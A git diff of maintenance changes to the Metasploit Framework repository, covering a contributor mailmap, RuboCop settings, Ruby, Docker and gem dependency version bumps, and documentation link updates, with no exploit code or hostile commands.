cgranleese-r7 <cgranleese-r7@github> <christopher_granleese@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
gwillcox-r7 <gwillcox-r7@github> <Grant_Willcox@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
sjanusz-r7 <sjanusz-r7@github> <simon_janusz@rapid7.com>
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -48,9 +23,15 @@ wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
@@ -58,6 +39,7 @@ brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
@@ -75,6 +57,7 @@ DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmai
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
@@ -97,6 +80,8 @@ hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
hdm <hdm@github> HD Moore <x@hdm.io>
jabra <jabra@github> <jabra@spl0it.org>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jcran <jcran@github> <jcran@0x0e.org>
jcran <jcran@github> <jcran@pentestify.com>
jcran <jcran@github> <jcran@pwnieexpress.com>
@@ -105,6 +90,8 @@ jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
@@ -123,6 +110,8 @@ lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
@@ -137,6 +126,7 @@ nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
ohdae <ohdae@github> ohdae <bindshell@live.com>
oj <oj@github> <oj@buffered.io>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.local>
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
@@ -155,6 +145,10 @@ scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.u
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
sjanusz-r7 <sjanusz-r7@github> <simon_janusz@rapid7.com>
skape <skape@???> Matt Miller <mmiller@hick.org>
smashery <smashery@github> Ashley Donaldson <smashery@gmail.com>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
@@ -163,6 +157,7 @@ stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
timwr <timwr@github> <timrlw@gmail.com>
@@ -170,12 +165,15 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> <void-in@users.noreply.github.com>
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
# Aliases for utility author names. Since they're fake, typos abound
@@ -185,4 +183,4 @@ Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
+201
View File
@@ -217,6 +217,10 @@ Style/FrozenStringLiteralComment:
Enabled: false
Description: 'We cannot support this yet without a lot of things breaking'
Style/MutableConstant:
Enabled: false
Description: 'We cannot support this yet without a lot of things breaking'
Style/RedundantReturn:
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
Enabled: false
@@ -253,6 +257,18 @@ Style/NumericPredicate:
Description: 'This adds no efficiency nor space saving'
Enabled: false
Style/EvenOdd:
Description: 'This adds no efficiency nor space saving'
Enabled: false
Style/FloatDivision:
Description: 'Not a safe rule to run on Metasploit without manual verification as the right hand side may be a string'
Enabled: false
Style/FormatString:
Description: 'Not a safe rule to run on Metasploit without manual verification that the format is not redefined/shadowed'
Enabled: false
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
@@ -350,6 +366,191 @@ Naming/MethodParameterName:
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
Naming/PredicateName:
Enabled: true
# Current methods that break the rule, so that we don't add additional methods that break the convention
AllowedMethods:
- has_additional_info?
- has_advanced_options?
- has_auth
- has_auto_target?
- has_bad_activex?
- has_badchars?
- has_chars?
- has_check?
- has_command?
- has_content_type_extension?
- has_datastore_cred?
- has_evasion_options?
- has_fatal_errors?
- has_fields
- has_files?
- has_flag?
- has_function_name?
- has_gcc?
- has_h2_headings
- has_input_name?
- has_j_security_check?
- has_key?
- has_match?
- has_module
- has_object_ref
- has_objects_list
- has_options?
- has_page?
- has_passphrase?
- has_pid?
- has_pkt_line_data?
- has_prereqs?
- has_privacy_waiver?
- has_privates?
- has_protected_mode_prompt?
- has_proxy?
- has_read_data?
- has_ref?
- has_required_args
- has_required_module_options?
- has_requirements
- has_rop?
- has_s_flag?
- has_service_cred?
- has_subscriber?
- has_subtree?
- has_text
- has_tlv?
- has_u_flag?
- has_users?
- has_vuln?
- has_waiver?
- have_auth_error?
- have_powershell?
- is_accessible?
- is_admin?
- is_alive?
- is_alpha_web_server?
- is_android?
- is_app_binom3?
- is_app_carlogavazzi?
- is_app_cnpilot?
- is_app_epaduo?
- is_app_epmp1000?
- is_app_infovista?
- is_app_ironport?
- is_app_metweblog?
- is_app_oilom?
- is_app_openmind?
- is_app_popad?
- is_app_radware?
- is_app_rfreader?
- is_app_sentry?
- is_app_sevone?
- is_app_splunk?
- is_app_ssl_vpn?
- is_array_type?
- is_auth_required?
- is_author_blacklisted?
- is_badchar
- is_base64?
- is_bind?
- is_cached_size_accurate?
- is_cgi_enabled?
- is_cgi_exploitable?
- is_check_interesting?
- is_child_of?
- is_clr_enabled
- is_connect?
- is_dlink?
- is_dn?
- is_dynamic?
- is_error_code
- is_exception?
- is_exploit_module?
- is_exploitable?
- is_fqdn?
- is_glob?
- is_groupwise?
- is_guest_mode_enabled?
- is_hash_from_empty_pwd?
- is_high_integrity?
- is_hostname?
- is_ie?
- is_imc?
- is_imc_som?
- is_in_admin_group?
- is_interface?
- is_ip_targeted?
- is_key_wanted?
- is_leaf?
- is_local?
- is_logged_in?
- is_loggedin
- is_loopback_address?
- is_mac?
- is_match
- is_md5_format?
- is_module_arch?
- is_module_platform?
- is_module_wanted?
- is_multi_platform_exploit?
- is_not_null?
- is_null_pointer
- is_null_pointer?
- is_num?
- is_num_type?
- is_numeric
- is_online?
- is_parseable
- is_pass_ntlm_hash?
- is_passwd_method?
- is_password_required?
- is_payload_compatible?
- is_payload_platform_compatible?
- is_pointer_type?
- is_pri_key?
- is_proficy?
- is_rdp_up
- is_remote_exploit?
- is_resource_taken?
- is_rf?
- is_rmi?
- is_root?
- is_routable?
- is_running?
- is_scan_complete
- is_secure_admin_disabled?
- is_session_type?
- is_signature_correct?
- is_single_object?
- is_struct_type?
- is_supermicro?
- is_superuser?
- is_sws?
- is_system?
- is_system_user?
- is_target?
- is_target_suitable?
- is_trial_enabled?
- is_trustworthy
- is_uac_enabled?
- is_url_alive
- is_usable?
- is_uuid?
- is_valid?
- is_valid_bus?
- is_valid_snmp_value
- is_value_wanted?
- is_version_compat?
- is_version_tested?
- is_vmware?
- is_vul
- is_vulnerable?
- is_warbird?
- is_windows?
- is_writable
- is_writable?
- is_x86?
- is_zigbee_hwbridge_session?
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/RedundantPercentQ:
+1 -1
View File
@@ -1 +1 @@
3.0.2
3.0.5
+1 -1
View File
@@ -36,7 +36,7 @@ when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project maintainers at msfdev@metasploit.com. If
the incident involves a committer, you may report directly to
the incident involves a committer, you may report it directly to
caitlin_condon@rapid7.com or todb@metasploit.com.
All complaints will be reviewed and investigated and will result in a
+5 -5
View File
@@ -1,6 +1,6 @@
# Contributing to Metasploit
Thank you for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
world -- a better place! Before you get started, please review our [Code of Conduct](./CODE_OF_CONDUCT.md). This helps us ensure our community is positive and supportive for everyone involved.
## Code Free Contributions
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
@@ -15,9 +15,9 @@ Before we get into the details of contributing code, you should know there are m
## Code Contributions
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/Get-Started-Writing-an-Exploit). It will help you to get started and avoid some common mistakes.
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://docs.metasploit.com/docs/development/developing-modules/guides/get-started-writing-an-exploit.html). It will help you to get started and avoid some common mistakes.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://docs.metasploit.com/docs/development/maintainers/process/guidelines-for-accepting-modules-and-enhancements.html#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
@@ -83,7 +83,7 @@ If you need some more guidance, talk to the main body of open source contributor
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
curve, so keep it up!
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
[Code of Conduct]:https://docs.metasploit.com/docs/code-of-conduct.html
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
@@ -101,7 +101,7 @@ curve, so keep it up!
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api
[module documentation]:https://github.com/rapid7/metasploit-framework/wiki/Module-Documentation
[module documentation]:https://docs.metasploit.com/docs/using-metasploit/basics/module-documentation.html
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[RSpec]:http://rspec.info
[Better Specs]:http://www.betterspecs.org/
+9 -6
View File
@@ -1,4 +1,4 @@
FROM ruby:3.0.2-alpine3.12 AS builder
FROM ruby:3.0.5-alpine3.15 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
@@ -40,15 +40,16 @@ RUN apk add --no-cache \
# needed so non root users can read content of the bundle
&& chmod -R a+r /usr/local/bundle
ENV GO111MODULE=off
RUN mkdir -p $TOOLS_HOME/bin && \
cd $TOOLS_HOME/bin && \
curl -O https://dl.google.com/go/go1.11.2.src.tar.gz && \
tar -zxf go1.11.2.src.tar.gz && \
rm go1.11.2.src.tar.gz && \
curl -O https://dl.google.com/go/go1.19.3.src.tar.gz && \
tar -zxf go1.19.3.src.tar.gz && \
rm go1.19.3.src.tar.gz && \
cd go/src && \
./make.bash
FROM ruby:3.0.2-alpine3.12
FROM ruby:3.0.5-alpine3.15
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
@@ -59,7 +60,9 @@ ENV METASPLOIT_GROUP=metasploit
# used for the copy command
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk python2-dev openssl-dev nasm mingw-w64-gcc
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk \
python2-dev openssl-dev nasm mingw-w64-gcc
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
+5 -4
View File
@@ -15,8 +15,10 @@ group :development do
# generating documentation
gem 'yard'
# for development and testing purposes
# lock to version with 2.6 support until project updates
gem 'pry-byebug', "~> 3.9.0"
gem 'pry-byebug'
# Ruby Debugging Library - rebuilt and included by default from Ruby 3.1 onwards.
# Replaces the old lib/debug.rb and provides more features.
gem 'debug', '>= 1.0.0'
# module documentation
gem 'octokit'
# memory profiling
@@ -25,7 +27,7 @@ group :development do
gem 'ruby-prof', '1.4.2'
# Metasploit::Aggregator external session proxy
# disabled during 2.5 transition until aggregator is available
#gem 'metasploit-aggregator'
# gem 'metasploit-aggregator'
end
group :development, :test do
@@ -46,4 +48,3 @@ group :test do
# Manipulate Time.now in specs
gem 'timecop'
end
+138 -133
View File
@@ -1,17 +1,16 @@
PATH
remote: .
specs:
metasploit-framework (6.2.19)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
metasploit-framework (6.3.4)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
bcrypt
bcrypt_pbkdf
bson
concurrent-ruby (= 1.0.5)
dnsruby
ed25519
em-http-request
@@ -30,7 +29,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.94)
metasploit-payloads (= 2.0.108)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
mqtt
@@ -52,6 +51,7 @@ PATH
pg
puma
railties
rasn1
rb-readline
recog
redcarpet
@@ -97,30 +97,29 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (6.1.7)
actionview (= 6.1.7)
activesupport (= 6.1.7)
rack (~> 2.0, >= 2.0.9)
actionpack (7.0.4.2)
actionview (= 7.0.4.2)
activesupport (= 7.0.4.2)
rack (~> 2.0, >= 2.2.0)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (6.1.7)
activesupport (= 6.1.7)
actionview (7.0.4.2)
activesupport (= 7.0.4.2)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (6.1.7)
activesupport (= 6.1.7)
activerecord (6.1.7)
activemodel (= 6.1.7)
activesupport (= 6.1.7)
activesupport (6.1.7)
activemodel (7.0.4.2)
activesupport (= 7.0.4.2)
activerecord (7.0.4.2)
activemodel (= 7.0.4.2)
activesupport (= 7.0.4.2)
activesupport (7.0.4.2)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
zeitwerk (~> 2.3)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
afm (0.2.2)
@@ -128,40 +127,42 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.628.0)
aws-sdk-core (3.145.0)
aws-partitions (1.707.0)
aws-sdk-core (3.170.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.331.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-ec2 (1.364.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.70.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-iam (1.75.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.58.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-kms (1.62.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.114.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-s3 (1.119.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.5.1)
aws-sigv4 (1.5.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
bcrypt_pbkdf (1.1.0)
bindata (2.4.10)
bindata (2.4.15)
bson (4.15.0)
builder (3.2.4)
byebug (11.1.3)
coderay (1.1.3)
concurrent-ruby (1.0.5)
concurrent-ruby (1.2.0)
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.7.1)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
digest (3.1.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
docile (1.4.0)
@@ -176,19 +177,19 @@ GEM
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
erubi (1.11.0)
erubi (1.12.0)
eventmachine (1.2.7)
factory_bot (6.2.1)
activesupport (>= 5.0.0)
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (2.23.0)
faker (3.1.1)
i18n (>= 1.8.11, < 2)
faraday (2.5.2)
faraday (2.7.4)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.0)
faraday-net_http (3.0.2)
faraday-retry (2.0.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
@@ -213,27 +214,28 @@ GEM
httpclient (2.8.3)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
irb (1.4.1)
io-console (0.6.0)
irb (1.6.2)
reline (>= 0.3.0)
jmespath (1.6.1)
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.6.2)
json (2.6.3)
little-plugger (1.1.4)
logging (2.3.1)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.18.0)
loofah (2.19.1)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (4.0.5)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (5.0.9)
metasploit-concern (5.0.1)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.2)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -243,43 +245,41 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (4.0.6)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.94)
metasploit_data_models (5.0.5)
activerecord (~> 6.0)
activesupport (~> 6.0)
metasploit-model (5.0.1)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.108)
metasploit_data_models (6.0.2)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
metasploit-concern
metasploit-model (>= 3.1)
pg
railties (~> 6.0)
recog (~> 2.0)
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
method_source (1.0.0)
mini_portile2 (2.8.0)
minitest (5.16.3)
mini_portile2 (2.8.1)
minitest (5.17.0)
mqtt (0.5.0)
msgpack (1.5.6)
msgpack (1.6.0)
multi_json (1.15.0)
mustermann (2.0.2)
mustermann (3.0.0)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.17.1)
net-protocol (0.1.3)
net-protocol (0.2.1)
timeout
net-smtp (0.3.1)
digest
net-smtp (0.3.3)
net-protocol
timeout
net-ssh (7.0.1)
network_interface (0.0.2)
nexpose (7.3.0)
nio4r (2.5.8)
nokogiri (1.13.8)
nokogiri (1.14.1)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
@@ -292,51 +292,54 @@ GEM
packetfu (1.1.13)
pcaprub
parallel (1.22.1)
parser (3.1.2.1)
parser (3.2.0.0)
ast (~> 2.4.1)
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.10.0)
pdf-reader (2.11.0)
Ascii85 (~> 1.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.3)
pry (0.13.1)
pg (1.4.5)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (5.0.0)
puma (5.6.5)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
puma (6.0.2)
nio4r (~> 2.0)
racc (1.6.0)
rack (2.2.4)
rack-protection (2.2.2)
racc (1.6.2)
rack (2.2.6.2)
rack-protection (3.0.5)
rack
rack-test (2.0.2)
rack (>= 1.3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.4.3)
loofah (~> 2.3)
railties (6.1.7)
actionpack (= 6.1.7)
activesupport (= 6.1.7)
rails-html-sanitizer (1.5.0)
loofah (~> 2.19, >= 2.19.1)
railties (7.0.4.2)
actionpack (= 7.0.4.2)
activesupport (= 7.0.4.2)
method_source
rake (>= 12.2)
thor (~> 1.0)
zeitwerk (~> 2.5)
rainbow (3.1.1)
rake (13.0.6)
rasn1 (0.12.1)
strptime (~> 0.2.5)
rb-readline (0.5.5)
recog (2.3.23)
recog (3.0.3)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.5.0)
reline (0.3.1)
redcarpet (3.6.0)
regexp_parser (2.6.2)
reline (0.3.2)
io-console (~> 0.5)
rex-arch (0.1.14)
rex-text
@@ -346,12 +349,12 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.28)
rex-core (0.1.30)
rex-encoder (0.1.6)
metasm
rex-arch
rex-text
rex-exploitation (0.1.36)
rex-exploitation (0.1.37)
jsobfu
metasm
rex-arch
